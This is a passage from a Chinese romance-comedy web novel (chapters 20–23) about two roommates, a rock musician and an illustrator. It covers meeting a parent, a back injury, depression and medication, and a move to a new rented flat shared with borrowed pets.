“费池鱼,那是他们两个人的事。”庄明越旁观者清,“我想只是在一个乐队的时候,大孙容易迁怒你也容易理解,毕竟你和你哥长得很像,但他别扭是他的问题,不是你的。那你问过你哥的想法吗?”
“他怎么想的和我无关。”
“既然这样,就不要烦恼了。”庄明越费力地伸出一只手,点费臻脑门,“快睡觉,明天还有事要做。”
“嗯?”
“不约你妈妈出来吗?”
费臻抓住脑门上的手,把它塞进庄明越的被子里。
“都听你的。”
20. 第 20 章
隔天下午,费臻单独约了母亲陈思言。
见面地点定在庄明越家附近一家湘菜馆。
陈思言是湖南人,嗜辣如命,但因为费春峻身体原因吃不了辣,大儿子也不爱吃辣,她嫁过来之后只能自己吃,和姐妹一起吃。
小儿子的嗓子需要好好保护,她从不找费臻一起吃辣,得知这个邀请后很诧异,但想了一想,还是很愉快地接受了,还提了一个小小的要求。
费臻问庄明越:“要不要和我妈一起吃饭?”
庄明越有些惊讶:“我去干什么?阿姨知道我?”
“还不是因为我哥那个大嘴巴。”
“那就去吧,不过我只能吃一点点辣。”
10月8日晚上要开建厂三十周年纪念晚会,这天中午,与巧克力厂有关的其中二人就和庄明越一起坐在了湘菜馆里。
初见面,一行巨大的字在庄明越脑子里打转。
费臻的妈妈竟然是lo娘!
陈思言化了淡妆,做了酒红色洋娃娃风格的长发造型,身上是古典系lolita,裙子由暗蓝的宝石图案和白色的雪纺拼接成,裙撑虽然不大,但整个人看起来像从油画里走出来的中世纪公主。
要不是她的眉眼与费臻有七分相似,庄明越甚至不敢认。
她在庄明越对面坐下,摘掉蕾丝手套,拉住庄明越的手,看了许久,直到费臻拖着声音叫:“妈……”
陈思言收回手,笑眯眯地问:“比明治发来的照片好看多了,费列罗你怎么不早说?”
庄明越一头雾水。
费列罗他认识,明治?谁?
还有什么照片,他怎么不知道?
费臻低声提醒:“妈,你正常点,当心吓到小庄。”
陈思言转而看费臻:“你头发又长了,真的不做个造型?”
“我不想卷成你那种洋娃娃头,被粉丝笑死我还活不活了?”
“摇滚长发男,我以为你觉悟多高,就这一点点。”
陈思言不再理会小儿子,从包里掏出一个厚实的红包,和身旁一起拿来的草莓印花包装袋塞进庄明越手里。
“第一次见面,阿姨也不知道你喜欢什么,这个拿着,买点自己喜欢的东西。”
庄明越低头看了一眼红包的厚度,还有草莓袋里面包装盒上的品牌名称,如坠梦里。
这是他大学辛苦攒钱想买的数位板!最近终于攒到了还没舍得买,计划等明年买给自己当生日礼物!
传说中的老鼠掉进米缸不过如此。
“阿姨,这太贵重了,我不能收。”
“收着收着!”陈思言按住庄明越的手,力气意外地大,笑容却愈发开怀,“我见到我儿媳妇高兴,怎么啦?”
最怕空气突然安静。
费臻端起饮料杯的手悬在空中。
庄明越头脑风暴,费臻天天和乐队还有他腻在一起,哪来的时间找对象。
包间门口,刚推门进来的费治也僵住了。
费治不请自来,受的冲击不如在场二人大,但艰难地从喉咙底挤出一句话:“小臻你要结婚了?什么时候?”
费臻被他一提问,转头不确定地问:“妈,你说的是谁的对象?”
陈思言眨了眨眼,看看大儿子,又看看小儿子,再看看手里还捏着红包的庄明越。
她淡然回答:“我也不知道是谁的呀。”
说完,她端起饮料杯,优雅地抿了一口26年的美年达,“反正是你们两个中间的一个。”
费治眼角抽搐:“您不会是指小庄吧?”
见陈思言点头,费臻扶住额头:“妈,你怎么会这么想?”
庄明越终于意识到了问题的不对劲。
“阿姨,我们只是住在一起,不是那种关系,请你相信我们!”
费臻紧接了一句:“我们是清白的,我们什么也没干!”
陈思言放下杯子,笑意盈盈地看着他们三个。
大儿子满脸无语,小儿子耳朵尖已经红透了,他的室友恨不得用数位板把脸遮起来。
她忽然觉得中午赶来杭州超值得!
“好了,不说笑了。”陈思言看向庄明越,“臻臻从小就想要一个超级BF,但总是事与愿违。现在他愿意带你见我,说明你对他很重要。”
她郑重其事地说,“阿姨谢谢你。红包你都收着,你们过日子要用,数位板也收着,阿姨挑了好久的,希望你以后越画越好,和我们家费列罗的友谊也能长长久久。”
庄明越看着她眼底的真挚和温柔,忽然不知道该说什么,垂下头看向手里沉甸甸的红包。
陈思言满意地点点头
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,转头开始点菜,自然地把话题转向了杭州最近的天气和两兄弟小时候的趣事。
庄明越默默地把红包收进背包内层,决定回去就把红包壳也贴进五年日记里。
陈思言叮嘱服务员,给庄明越点的那些菜少放辣椒。
上菜后,费治坐在庄明越旁边,偶尔帮他转一下转盘,被费臻瞪了好几眼。
费治:……好强的敌意,你们直男的友谊真令人毛骨悚然!
一顿湘菜吃得像在家过年,结完账后,陈思言示意费治帮忙拿上她送给庄明越的见面礼,让兄弟二人去店外面等,又单独把庄明越叫住。
“阿姨麻烦你一件事。”陈思言手指绕了一下卷曲的红发,叹了口气,“帮我留意一下小臻的伤。”
庄明越心里一紧。
“是腰伤。”陈思言看庄明越的表情,猜测他不完全了解这件事,就简单概括,“两年多以前,臻臻腰椎骨折,手术做了两天,谁也没告诉。我想到这件事就睡不好觉,头发都白了大半。”
她看向店外,费臻正和拎着东西的费治在交谈什么,二人表情虽不算好,倒也没有吵起来。
费臻从费治手里接过数位板,口型像是在道谢。
费治愣了一下也露出一个笑,拍费臻的肩膀,费臻又马上臭起一张脸躲远,紧接着传来费治的笑骂声:“死小子!”
陈思言收回目光,继续对庄明越说:“看他现在唱唱跳跳的,我高兴,但也担心。那孩子太要强,从来不说疼,就连我也瞒着,要不是他们乐队的冯泰告诉我,我现在还蒙在鼓里。”
“阿姨,您这么说,我明白了。”庄明越认真地说,“他有他的事业,我们的关系也只是近两个月才好转的,我其实没有立场也没有资格去阻拦他。但是阿姨你放心,为了他的健康,我会尽力。”
回家的出租车上,费臻闭目养神,庄明越盯着他微微蹙起的眉心,几次欲言又止。
到家刚进门,费臻接了个电话,顺手拿了衣架上的吉他箱往肩上背。
“晚上临时有场活动,我可能不回家睡。”
庄明越站在客厅中央,看着费臻已经换好鞋的背影,终于开口:“你腰不舒服,又吃了很多辣,今天就先别去了吧?”
费臻的动作顿了一下,回过头,脸上满是意外:“你怎么知道?”
21. 第 21 章
“回来的车上,你调整了好多次坐姿。”庄明越走上前,“而且你妈妈和我说,你腰椎骨折,住院很久。所以本子上的空白,是因为受伤吗?”
费臻没有否认,反问:“她跟没跟你说我是怎么受的伤?”
庄明越摇摇头,猜测:“是因为演出事故吗?”
“不是。”费臻轻拍庄明越的额头,“总之不用你操心,都过去了,现在我很好。”
“过去了不代表不存在。”庄明越扣住费臻拍他的手,皱起眉头,“你忘记了你是怎么搬到我床上的?是那天晚上喝完酒,半夜腰疼从你自己的床上掉下来。今天你又和你妈妈喝了不少,晚上别去了吧,好不好?”
费臻叹了口气:“庄明越,这是我的工作。”
“我知道,但工作也可以请假。”
“已经和他们说好了。”
“那我现在给阿太打电话。”
“给经纪公司打也没用,而且没什么大不了的。”费臻握着肩带的手指紧了紧,拉开门,“别担心我,先照顾好你自己。”
费臻毅然决然地走了,门关上的声音很轻,庄明越却抖了一下。
他在门内站了很久,听着楼道里脚步声渐渐远去,然后消失。
胸口不自觉发闷,庄明越走到卧室的书桌坐下,望着同款日记本出神。
眼眶发热,眼泪不知道什么时候滴到了日记本上。
还好费臻送的pvc套防水,庄明越抽了张抽纸,认认真真地擦本子,也擦掉从巡演现场带回家的尘土。
等他回过神来,不知道过了多久,脸上已经完全湿透了。
晚上十点的闹钟和费臻的“晚药”提醒同时响起。
庄明越盯着屏幕看了几秒,把手机甩到床上,又去抽床头柜,拿第一格里放着的新药。
盒子怎么拆都拆不动,指甲抠了半天,只抠出几道毛边。
庄明越泄了气,颤抖的手把药盒往床上一扔,整个人瘫在椅子上,一动不动。
这条黑狗在沉默中席卷而来,为他带来了名为木僵的小礼物。
不知道过了多久,楼道里响起脚步声,又过了几秒,传来钥匙转动锁眼的声音。
庄明越想起身去门口,双腿却有千斤重,屁股黏在椅子上起不来。
卧室门口,费臻探头,手里拎着一个印着爆裂logo的塑料袋。
“晚上好,吃烧烤吗?”
烧烤味瞬间飘进卧室里,费臻退开几步,把袋子放在客厅小桌子上,再走入了卧室。
庄明越坐在书桌前,后脑勺对着他,床上的被子上随意地丢着一个手机和一盒抠出毛边的药,还有湿透的绿色绒垫。
费臻从庄明越身后将他抱住,低声说:“我回来了,不在外面过夜,惊不惊喜,意不意外?”
回答他的是一声吸鼻子的声音。
费臻凑近去看庄明越的表情,庄明越连忙把头撇开了一点。
“谁惹我们明月老师不高兴了?是我吗?”
庄明越的头又往下低了一点。
费臻抱得更用力,胸膛隔着椅背,无法紧紧贴住庄明越的后背。
“对不起,我不该就那么走掉。我知道你担心我,可是车要开去金华,就在小区外面等,我怕赶不及。”
“那么远?”庄明越哑声问。
“嗯。放心好了,是和赞助商吃饭,谈广告的事,没有表演,也没有喝酒,吉他也一直放车里,没背进酒店。过儿他们还在第二局,我打个招呼提前回来了。赞助商很客气,送了一车火腿,我拿了两根,和吉他一起放大门口了……庄明越,嗨?听见我说话了吗?”
“你可不可以松开我?”
“带着椅子抱的,不会勒住你吧?”
“我转不过来。”
费臻这才松手。
庄明越慢慢站起身转过来,没在哭了,但眼眶底下有两块很明显的红痕。
庄明越问:“坐车那么久,你的腰受得了?”
费臻没有回答。
他不知道庄明越到底哭了多长时间,能把自己的脸搞成这样。
他把庄明越往床上带。
“别管我的腰了,给你敷一敷。躺着,等我一下。”
费臻洗干净手,从冰箱里拿了一格子冰块回来,用棉柔巾包成团,在庄明越的眼眶下面来回滚。
庄明越仰躺着,闭着眼睛,睫毛在台灯的灯光下湿漉漉地发颤。
“有没有好一点?”
“嗯……”庄明越瓮声瓮气地提醒,“烧烤要凉了。”
“有微波炉,大不了我再去买。”费臻的动作放得很轻缓,“上次你被灌了杯黄酒,串都没吃几口,我想着巡演回来,我们两个有时间再一起去吃,多吃几串……怎么又哭了?”
“我以为我多管闲事,你生气了。”庄明越回答,睫毛抖得更厉害。
“说实话,我是在生气。”
庄明越听了,睫毛猛地一颤。
“不是对你……我是生自己的气。都过去那么久了,腰早就好了,还总是幻痛,让你担心。”费臻的指腹拭去庄明越的眼泪和冰块化冻的水汽,“早知道你会哭,我就不去了。”
“我还以为,你不会回来了。”
说到这里,大颗的眼泪又掉了下来,滚落在费臻的指间。
费臻的手指被热泪烫得有片刻的停顿。
他放下冰块团子,双手揉揉庄明越的脸颊,又去触碰他的眼尾。
都说长了眼尾沟的人容易哭,事实上这一小片三角湖泊似的的眼尾,方便人侧躺着的时候,让眼泪流进耳朵里。
想到这里,费臻又抽了张棉柔巾,搓成长条,吸了一下庄明越的耳朵。
果然有眼泪。
他一边给庄明越全方位擦脸,一边说:“这里是我的家,我肯定要回来。哭成这样,明天彻底肿了,你就只能闭着眼睛画画了。到时候我发个微博,就说你在发明一种很新颖的创作形式。”
庄明越睁开眼回怼:“那我把你的鬼画符传上去,让大家都看看曲子完成前的样子。”
“珍视明这么快就要be了?”
“珍视明?”
“咱俩超话cp名,意思是我看见你。”
“怎么你在前面?”庄明越记得磕这个的规矩,前面的是攻,后面的是受。
“也有你在前面的,叫‘月费待交’。”
“这也太命苦了。”庄明越忍不住笑了,“听着就像欠了一屁股话费水电费。”
“是啊。咱俩都绑定了,你感觉不爽了就去超话骂我出出气,别一个人闷头哭,求你。”
“我才不要公开骂你。”
“那在日记本里骂。”
费臻去把化了一半的冰块冲下洗脸池,走回来,听到庄明越说:“不想动,要在床上吃烤串。”
费臻愣了一下,笑了起来。笑声很轻,却传到庄明越耳边,他也跟着露出一个微笑。
费臻再度回到客厅,把塑料袋提进来,辣椒混合孜然的香气瞬间溢满卧室。
十几串羊肉牛肉,还有鸡心和脆皮肠,在白色盒子里堆成了小山,混着几串过了油喷香
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的烤鸡毛菜。
庄明越看到菜叶子,有点惊讶:“怎么还有这个?”
“你做梦的时候喊的,油麦菜西芹小青菜鸡毛菜,正好今天店里有。”
“唔,那可能是梦到给窝窝准备鲜食。”庄明越吃着鸡毛菜,余光瞥见费臻的视线,含糊地问,“你不吃吗?”
“吃。”费臻顺手拿过庄明越吃了一半的蔬菜串,把剩下的吃了,“只是看你眼睛红红的好像兔子,脸比以前圆了一点,挺可爱的。”
庄明越差点噎住:“你才可爱,你全家都可爱!”
另外,费臻顺走他鸡毛菜的行为让他感到很迷惑,“这不是还有吗,你吃我的干嘛?”
“什么你的我的,好朋友不分这个。”
庄明越:“?”
“讨厌的话下次不这样了。”
“……那还好。”
庄明越有点洁癖,不喜欢和人分享食物,但费臻一再打破了他的界限,竟然意外的不讨厌。
他耸耸肩,低头挑了一串形状周正的鸡心串,刚咬了一口,就被拎走,又进了费臻的肚子。
庄明越扁了嘴,胳膊肘用力怼了费臻一下:“懂了,你的爱好就是捡别人剩下的吃。”
“我也不是什么人的都捡。”费臻慢慢靠到庄明越肩膀上,“腰被你怼坏了你管不管?”
“什么?我看看……”
庄明越表情紧张地低下头,就听到费臻“噗”地笑了一声。
“好啊,你耍我!”
“如何呢?看你笨笨的很好玩。”
“你才笨笨的!不许抢我的串!”
二人坐在床上一串接一串地边吃边互相挤兑,庄明越的眼眶还是很红,眉眼却已舒展开来,嘴角一直带着一抹笑意。
吃到最后,床上还是掉了点渣,庄明越开窗通风,把新的床单被套拿出来放到书桌上,先去洗了澡。
回来发现费臻已经换好了四件套,拿着干净的换洗衣服在等他出来。
“其实我是想进来一起洗,但是觉得你会不好意思。”
“浴室那么小,你不觉得两个人手都伸不开了吗,怎么洗?”
“那可以互相搓。”
庄明越咬了咬牙:“放你进家门真是个错误的决定。”
晚上睡觉的时候,费臻把庄明越抱得死紧,比以往任何时候更甚。
庄明越被勒得喘不过气,几乎要去见窝窝,奋力挣扎着说:“费臻你干嘛啊!”
费臻实话实说:“怕把你气跑了,所以要抱紧一点。”
“我没那么小气。”
“我听说情侣吵架都这样,刚才查了抱紧点气消得快,背对背睡觉第二天更生气。”
庄明越闻言大惊失色:“谁和你是情侣!费臻你该不会是被火腿打坏脑子了?”
听到费臻只是闷笑,不回话,庄明越又想了想,“硬要说的话,还有一句床头吵架床尾和,你快点松手,我是直男,你妈要知道你每天都抱着我睡,你还怎么说我们清清白白?”
“不说就不说,反正我喜欢。”费臻很满意现在的抱枕,下巴蹭蹭庄明越的后脑勺,引起二人的一阵微痒,“谁还不是个直男了?”
“你不该叫费列罗,改叫牛皮糖吧。”
“行啊,先让我爸改叫牛春峻。”
“那很充满乡土气息了。”庄明越忍俊不禁,笑了一下,笑完感觉眼皮越来越沉,抓紧说了一声,“轻点抱别勒死我,睡了睡了,晚安。”
费臻满意地又抱紧了些,一起沉入梦里。
“晚安。”
22. 第 22 章
天还没亮,庄明越被电醒了。
不是静电,也不是手机漏电,电击感来自他的身体,伴随着耳畔的嗡嗡声,让他在从床上坐起来的瞬间又啪地倒了下去。
身旁的费臻闷哼,被砸到了要害。
庄明越已经晕得不行,完全不知道自己的手打到了什么小动物。
他只知道全身过电、恶心想吐,即使闭上眼睛,这个世界都在一圈又一圈地打着转,完全不跟他商量。
庄明越想张嘴叫费臻,努力了半天,只发出一声干呕。
费臻捂着裆抽着气,把一只手探到庄明越额头上。
“没发烧,怎么回事?需不需要打120?”
手掌覆盖的瞬间,脑门上的温暖让庄明越好转了一些,他低低地哼了一声,本想喊费臻给他拿药,话到嘴边又心虚起来,于是缄默不言,只是睫毛抖个不停。
费臻凑过去看庄明越的脸,看到他抖动的眼睫毛和强装镇定的表情,心定了几分。
“庄明越,你知道自己怎么了,对不对?”
庄明越没有回答,只是缓慢地挪动身体,好让自己的脸也慢慢滑进被子里面。
费臻的目光从庄明越逐渐隐入被窝的脸移动到床头柜。
他思考片刻,动作轻而稳地从庄明越身上翻到床头柜边,坐在床畔,打开床头灯,抽开了第一层的抽屉,把所有的药盒拿出来。
确定抽屉里没有散的药板,费臻拿起手机,一手数药盒数量,一手划拉聊天记录。
盘库完毕,他立即拆了一盒有毛边的新药,剥开两颗,放在手心。
“张嘴。”
庄明越闭着眼,张开嘴,粉色药片顺着费臻的手掉进了他的口腔。
他含住药,听脚步声由近及远,又由远及近。
嘴唇被起雾的玻璃杯壁贴住,头靠着费臻的肩膀,半抱半揽,温水将药送入胃里。
昨天费臻走后,他一直心绪不宁,拆药的力气都没有。
后来费臻回来,他们光顾着吃烤串和聊天,睡觉的时候费臻抱得那么紧,害他完全想不起来吃药的事,直到清晨的戒断反应出现。
要晕麻了,已老实,不敢再断。
费臻问:“昨晚没吃药,也是因为我吗?”
庄明越还晕着,没说话,更怕说错话,含糊地哼了几声。
费臻把空了的水杯放在床头柜,翻身睡回床里。
然后丢开自己那床被子,挤进了庄明越的被窝。
“你又想勒死我?”庄明越这才感到不妙,慢吞吞地示弱,“你不要乘人之危,我现在没力气打你。”
“你有力气的时候也从来不打我。”
费臻说着话,双手环抱过去,把庄明越往怀里带了带,这次的动作非常轻柔,像搂起一团易消散的泡沫。
他哼起改编版的摇篮曲:“睡吧睡吧,我亲爱的月亮……”
过了十几分钟,药物开始在体内缓慢地释放,庄明越好受多了,在费臻一下接着一下的拍背和歌声中睡去。
上午十点的闹钟声响,庄明越做了个被八爪鱼拖入深海的梦,喘不过气地醒过来。
他推睡得正香的费臻:“你今天不是要去排练室,怎么还在?”
费臻松开手臂,眼睛都不睁:“请假了。”
“请假了?你腰疼?”庄明越的嗓门提高了一点,猛地一阵眩晕和电击感席卷全身,“那你别这么抱着了,当心你那腰。”
“腰好得很,要不要试试?”费臻嘟囔着,下巴蹭了蹭庄明越的肩膀,“你都这样了我怎么去排练。再睡五分钟给你煎蛋,要溏心还是全熟?”
庄明越想了一下:“各来一个。”
又睡了两分钟,费臻起床去厨房弄早餐。
庄明越舒舒服服躺着,难得没画画、没联系编辑、没做饭、没给多肉浇水、没拿快递,什么事也没干。
正感叹有人照顾的日子实在安逸,今天肯定不会有什么事发生,手机就响了。
庄明越接起来。
“你好,请问哪位?”
“你好你好,庄明越先生对吧?”手机那头传来中年男子礼貌的声音,“我是你房东老张的朋友,鄙姓王。老张他最近身体不太好,委托我帮忙处理租务。”
“张哥身体情况不好吗,怎么回事,要不要紧?”
“也不是什么大病,”王先生继续说道,“他老婆癌症走了,他情绪不好,在家总触景生情,又不舍得处理掉遗物,想暂时先搬回这里住段日子,之后就不续租了。原本按照合同,需要提前一个月通知,但事出突然,可不可以麻烦你在十月底前搬离?具体的手续和押金,还有老张这边违约赔偿的费用,我们可以在到期前一周再确认,双倍付给你,到时候老张就不过来了,我会来。你看可以吗?”
庄明越失语。
不久前他刷到张哥的朋友圈,看张哥发了一张交握的手,其中一只骨瘦嶙峋,看得出病得很严重,没想到那是他和他爱人。
房东张哥人比较滑头,总是试探性涨点房租,有时往房子里搬点不知道从哪里淘来的破烂家电,也要和庄明越AA。
房子虽然破旧,但地理位置优越,张哥涨租归涨租,倒是从来没怪窝窝啃坏踢脚线和墙角,也不像其他人那样开恶劣玩笑,说过年该把窝窝下锅了。
每次上门检查房子状况时,说起自己的老婆,张哥脸上总洋溢着藏不住的幸福。
庄明越和窝窝生活了两年,这里充满了点点滴滴的回忆,不只是他和窝窝,也有他和其他人,形形色色,在命运的轨迹中交错而过,但留下交点。
人生无常,应当珍惜眼下,只争朝夕。
“我知道了。”庄明越低声说,“辛苦王哥通知我。”
挂断电话,他的睡意全无,听着费臻在厨房里煎蛋的声音,考虑接下来搬去哪里。
他现在有点稿费收入,但维持现有的租金水平会很吃力,最好找个便宜点的住处。
而且……
“谁的电话?”
庄明越抬起头,看费臻端着碗走进来。
费臻也看到了庄明越略有些郁闷的表情,脚步顿了一下。
“怎么了?”
庄明越张了张嘴,一时间不知道从何说起。
他搬家了,那费臻呢?
“房东的委托人来电话了。”庄明越看向费臻,说出口的每个字都很犹豫,“这个月底前,我得搬走。”
费臻把煎蛋端到床上,递筷子给庄明越:“这么突然,没提违约金?”
“都有,
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月底前一周确认。”
庄明越接过煎蛋,埋头猛吃。
他本想细细品味,但退租的事事出突然,来不及细嚼慢咽,三两口吞了四个蛋。
庄明越放下碗筷,抬起头,和费臻大眼瞪小眼。
费臻:“你知道吗?”
“什么?”
“有两个蛋是我的。”
庄明越:“……”
他连忙掀开被子:“我再去给你煎两个!”
庄明越被费臻一把按了回去,塞进被子里。
“休息吧,今天什么也别做了。还有,你想搬走吗?”费臻问他,“如果不想,我可以出面交涉。”
“搬吧,总有这天,而且这里租金太贵了。”
“嗯。”费臻应了一声,没再说话。
两人再次陷入沉默。
良久,庄明越犹豫着问出口:“你找到房子了吗?”
“没有。”费臻回答得很干脆,“你知道的,今年一直比较忙,没来得及找,而且我觉得和你一起住很舒服,理智和情感上都不想搬。”
庄明越没想到费臻这么直白地说和他合租舒服,其实他也有同感。
“那我这边退租,你……”庄明越垂眼,看向费臻手上的薄茧,不知道该怎么问。
是问“你要不要跟我一起找房子合租”?
还是问“你什么时候去找你自己的房子”?
前者太亲密,后者又像下逐客令。
而且他自己也不知道,应不应该和费臻一起住。
除了窝窝这件事,他总是把人生的选择权一再交给他人。
费臻似乎看出了庄明越的纠结,直接说道:“一起找吧。”
“什么?”庄明越猛地抬头。
“我说,一起找房子,我们一起住。”费臻重复了一遍,细数住在一起的优点,“合租的话,能分摊租金,而且我也不放心你一个人住,不是怀疑你的自理能力,但独居总有意外情况,我们两个住一起也能互相照顾,你说是不是。”
庄明越的声音有点飘:“你认真的?”
“嗯。”费臻点头,百分之百的认真,“而且,离了你谁还肯让我抱着睡。”
“你未来的老婆可以……哦算了,你那个抱法不是常人能忍受的。”
“我从来没想过谈恋爱,我爸妈半辈子过得一地鸡毛,我不想跟他们一样找个人互相折磨。”费臻坦言,“说实话,我有点怕。”
庄明越慢慢地摇了摇头:“费臻,你都不知道你自己有多好。谁和你在一起,都不会互相折磨的。”
“可我才把你弄哭过。”费臻话音一顿,像怕被庄明越看到不自在的表情,手掌盖住了他的眼睛,“给个痛快话,一起找房子?”
“那行。”视觉被遮蔽,听觉变得更敏锐,庄明越听到自己的声音不大,却很清晰,“一起找。”
“嗯。”费臻松开手,收了碗筷和水杯,转身走向厨房,“上午你先休息,等彻底不晕了,上网看看房源。”
“诶,费列罗!”
费臻转过头:“怎么了?”
“不是你弄哭我的。”庄明越说完又改口,“不对,我没哭,你什么也没看到。”
费臻笑了一下:“我会努力的,小月亮。”
23. 第 23 章
找房子的过程一波三折,中介带着他们跑了三天,看了七八套,庄明越觉得只要价格合适就能谈,但费臻堪比豌豆公主,房子稍不合心意,就迅速要求看下一套。
第一套前面的楼房全遮挡,光线不好。
费臻:“你画画需要自然光,天气好的下午我喜欢晒背,这套不行。”
庄明越:“是有点暗。”
第二套复式房间在下,厕所在上,楼梯扶手还会晃。
费臻:“你起夜容易滚下来。”
庄明越:“你才起夜,我都睡整觉的好不好!”
第三套隔音太差,两层楼上的邻居打喷嚏都能听见。
费臻:“绝对不行。”
庄明越:“……同意。”
第四套只有卧室和厕所,没有客厅,比庄明越之前住的房子还小。
费臻:“日子不能越过越差。”
庄明越:“好像也有道理。”
第五套,第六套……
站在第N套房子里,接过费臻递过来的去茶底果茶,庄明越的头都有点大了。
“费臻,我们只是租房,不是买房子,差不多就可以了。我明白你想住得合心意,但你想要的十全十美的好房子,房租我们……我可能负担不了。”
费臻吸着冰美式,看着窗外川流不息的人群,没立刻反驳。
过了一会儿,他喝完最后一口,温声说:“我是很挑剔,但你要相信,事在人为,我们会找到的。”
“可生活不是摇滚。”
“那就让生活成为摇滚。”费臻转过头,看向庄明越,眼神认真,“先不说我,你大部分时间都在家,不只有睡觉的时候,找个舒服一点的环境,我觉得很重要。”
他顿了顿,声音低了些,“你现在正在好起来,更不能再凑合。”
庄明越低下头,看着手里奶茶杯壁上凝结的水珠。
“你不必为了我考虑太多。”
“我也是为自己考虑,咱们两个的家,当然要看着你住得舒心,我才会感觉更高兴。”费臻捞过庄明越的多肉葡萄,一口气吸光了最后的一层底,“我说过的,我会努力的。”
庄明越想,费臻说什么?
他们两个的家?
庄明越的胃里像有蝴蝶颤动翅膀。
他和窝窝的出租屋,再小再旧,因为有窝窝在,就是家。
现在,和费臻一起的新家——庄明越很难想象那样的场景。
“明天还看吗?”庄明越清清嗓,发问。
“看。”费臻毫不犹豫,“上午排练完,我们在银泰会合,先吃饭,再看房。”
之后的几天,二人每天跑几家,庄明越看到后来,已经不抱什么希望了,跟着中介爬上爬下,机械地看房听介绍,礼貌地说“不好意思,我们再看看”,疲倦地离开。
就在庄明越准备放弃时,他们走进了这一天最后要看的一套房。
复式六楼,带楼梯,房龄十六年,物业把房屋管道、外立面和小区绿化都维护得相当不错。
顶上的露台做了一个小小的阳光房,很适合一年四季养绿植,楼下又有两个朝南的卧室和一个虽然朝北但很大的衣帽间。
庄明越在衣帽间转了一圈,觉得满墙的实木柜子很适合放费臻那些压缩袋里的衣服和饰品。
小区地处市郊,和费臻乐队长租的排练室不算远,地铁又直达宠物医院。
费臻心想,如果住到这里,庄明越偶尔过去看那几只小兔也方便。
房子虽然是旧式的装修风格,但木材用料很好,泛红的樱桃木在阳光下透着活泼又温润的感觉。
特别是楼梯,每一个台阶和扶手用料都很扎实,非常结实,只是楼梯底下有一点小小的奇怪的咬痕。
年逾五旬的房东在一旁,注意到庄明越的目光,笑着解释:“这是我家宝贝兔子啃的。它生前最喜欢家里的楼梯,没事就趴在这儿啃两口。”
庄明越的眼睛亮了一下:“兔子?”
“对啊。”房东阿姨见他感兴趣,立刻翻开手机相册,找到一个备注“团团”的收藏夹,“你看,这是它年轻时候的照片。”
照片里是一只大体型的安哥拉兔,像一团特制加大号黑色棉花糖,黑眼睛混在毛毛里,某些角度几乎看不见。
房东阿姨一张张划过去,边划边讲:“它年轻时可活泼了,全家人都担心它上下楼梯对关节不好,就照医生建议,在每阶台阶上铺了地毯。后来它年纪大了,怕它摔着,我女儿专门找了间房给它住,不让它再上楼梯了。”
她划到最后一张,照片里的团团趴在一张软垫上,从毛发能看出来上了年纪 ,但眼神依旧明亮。
“团团活了十六年零六个月,和我们一家住在这里一样久。”阿姨的语气骄傲,也带着一丝淡淡的怀念,“它是个老寿星,折算下来比我父亲还高寿。”
庄明越蹲在那道被兔子啃过的楼梯前,伸出手,轻轻摸了摸那些细密的咬痕。
十六年,房东一家可真是养兔好手,团团也是又健壮又幸运。
兔子是十分脆弱的小生命,一只兔子的长寿,天时地利人和缺一不可。
庄明越想到了窝窝,眼眶发酸,但很快把眼泪咽了下去。
他定了定神,和费臻对上视线,费臻的眼里有安慰,也有对这套房子的中意。
虽然房租价格超预算,但经过一番交涉,最终以庄明越的心理价位加五百成交,先签了两年的租期。
回家路上,庄明越笑着吐槽:“一人二百五。”
费臻也笑:“沈阿姨免我们半个月租金。”
庄明越愣住:“什么时候的事?我怎么没听见?”
“刚才你蹲下看楼梯咬痕的时候,她悄悄问我,你是不是也养兔子,我就简单对她说了两句,她说你不容易,也说这是给团团和窝窝积下辈子的福报。”费臻拍拍庄明越的肩膀,“这两天的辛苦很值得,明天开始搬家。”
郭扬的副业是家具搬运,费臻问他借了货车,郭扬说什么也不肯收钱。
搬完家不久后,郭扬就来拜托费臻。
他们家养了一猫一狗两只鸡,他和经纪公司确认最近的空档后,要和老婆出去旅游一周。
原本只想和费臻商量,寄养两只鸡的事,然而冯泰锐评:“单独把鸡寄养了狗怎么办,没鸡屎吃了!”
郭扬:“咦惹你好恶心心。”
冯泰:“没你家狗恶心心,哪次我去你家它没偷吃鸡屎?说起来,顾梦对鸡真的很专一。”
郭扬:“那可不,她就喜欢大公鸡和小母鸡。”
猫狗是郭扬领养的,两只鸡则是顾梦养的。
顾梦大学刚毕业的时候养过一只大公鸡当宠物。
每天起早摸黑出门遛鸡,鸡打完鸣她才敢抱着鸡回家,偷感十足。
过年回老家,她临时找人喂鸡,结果鸡丢了,查监控是喂养的人没关好门,鸡被邻居直接拿走炖了,这件事成了她的心理阴影,她苦练肱二头肌,把吃鸡的人痛揍一顿,从此一直严格筛查上门喂养人员。
现在顾梦养了两只体态丰满、毛毛蓬松的小母鸡,更是把呵护发挥到了极致,光是屎兜子就有十几款。
而费臻对那些花哨的兜子很熟悉,去年他就常换常洗,那时候顾梦非说养鸡很治愈,能改善费臻的心情。她出远门旅行把鸡塞给了费臻,费臻养了半天之后,也确实沦陷了。
现在,郭扬又来拜托费臻。
“我家离你新家太远,每天赶过去喂狗喂猫喂鸡,还得遛狗,太不方便。”郭扬诚意十足,“我们家请的阿姨回老家了,梦梦说就放心让你喂,亲兄弟明算账,去年给的三千,一天一千,今年五千一周,哦不不不,一万,如何?”
“你家大胖狗……”费臻欲言又止,话音里透着无奈。
“我再贴五千私房钱,再多真拿不出来了,你得给我留点我想换新电脑。”
费臻没有直接拒绝:“我得问问明越和房东阿姨。”
“明越?叫这么亲密?”
费臻没理他。
“你私下也这么叫他?”郭扬的好奇心完全被勾起来了,“不是,臻哥,你跟庄老师到底什么关系?就只是合租?我不信。”
“再八卦不给寄宿了。”
“OKOK,我闭嘴。”
得到庄明越和房东阿姨的许可后,没过两个小时,郭扬说已经到了,但门卫说这里不让买卖活禽,禁止入内。
费臻作为业主指定的租户,出发去小区门口接那几只毛孩子。
庄明越在家等着,一边画画一边猜测费臻回来会是什么样子。
门开的那一刻,他手一抖,数位板掉在沙发毯上。
只见费臻手里牵着一只老抽色的大金毛,怀里搂着一只英短金渐层。肩膀上停着的两只黄鸡,绕开胸前的牵引绳,一边一只,正在叨费臻的头,把他的长发往两边揪。
庄明越幻视双马尾,发出十一月的第一声爆笑:“你能上热搜了!”
“去年上过。”费臻心如止水,面无表情地走进家门,“但是郭扬给的太多了,够咱们换一台豪华大冰箱。”
黄狗一进门就兴奋地四处跑,爪子声啪嗒啪嗒,尾巴摇得看不清形状。
黄猫从
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费臻怀里跳下来,矜持地巡视了一圈领地,随后跳上沙发,舔毛酝酿睡意。
